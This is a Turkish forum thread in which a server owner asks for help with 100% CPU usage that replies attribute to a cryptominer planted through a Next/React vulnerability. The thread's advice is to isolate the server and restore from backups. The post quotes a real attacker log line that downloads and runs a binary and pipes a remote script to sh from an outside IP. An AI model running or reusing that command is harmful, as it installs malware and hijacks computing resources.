EaysPanel %100 cpu kullanımı Miner Virüsü Şüphesi Sorununu acil çözebilecek birisi aranıyor

Kolay gelsin Eayspanel de dünden beri %100 cpu kullanımı var bir proje logun da şunu buldum

http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&'

çok detaylı bilgiye sahip değilim ama bir dosya indirtip birşeyler oluyor sunucudaki güvenlik yazılımı 2 günde 10 dosyayı silmiş ama halen çok yüksek cpu kullanımı var bununla alakalı yardımcı olucak arkadaşları arıyorum ücretli veya ücretsiz ama çok fazla ücret veremem bunu bilerek yazarlarsa sevinirim.

Merhaba sunucu bilgilerinizi özelden iletin yardımcı olmaya çalışayım

Sorun olsun olmasın temiz bir şekilde yedeklerinizi alıp yeni makinaya geçmenizi tavsiye ederim.

Geçicem de sunucu o dakar yavaş çalışıyor yük altında çalışıyor ki hiçbir işlem yapamıyorum

Şimdi biraz araştıdım sizin için. Siteniz ne tabanlı bilmiyorum ama galiba yeni çıkan next react açığından nasibini almış gibi.

https://blog.ellio.tech/react2shell-in-the-wild/

Attığınız loglardada geçen "reactOnMynuts" makinanın tahmin ettiğiniz gibi mining virüsü yediğini gösteriyor.

Hocam kritik dosya SQL v.s.
PHP apache ngnix v.s. kapatın

DNS kayıtlarını silin

Yedekleri indirin yeni makineye geçin

Yapamazsaniz ulaşın ücretsiz hallederiz destek olurum

Makinayı dış network e kapatın hocam sadece kendi ip adresine giriş çıkış verin.

mümkünse safe modda başlatın makinayı sonra dosyaları alın. Ben genelde yedekli çalıştığım için makinayı havaya uçurup elimdeki temiz yedeklerden ilerlemeyi tercih ederdim çünkü yedek alacağınız scripte her açıdan dosya olarak kod olarak shell sokma imkanları fazlaca var bu sadece uğraşıcak kişinin keyfine bağlı.

çok çok yüksek ihtimal hocam aldık nasibimizi teşekkür ederim bi bakayım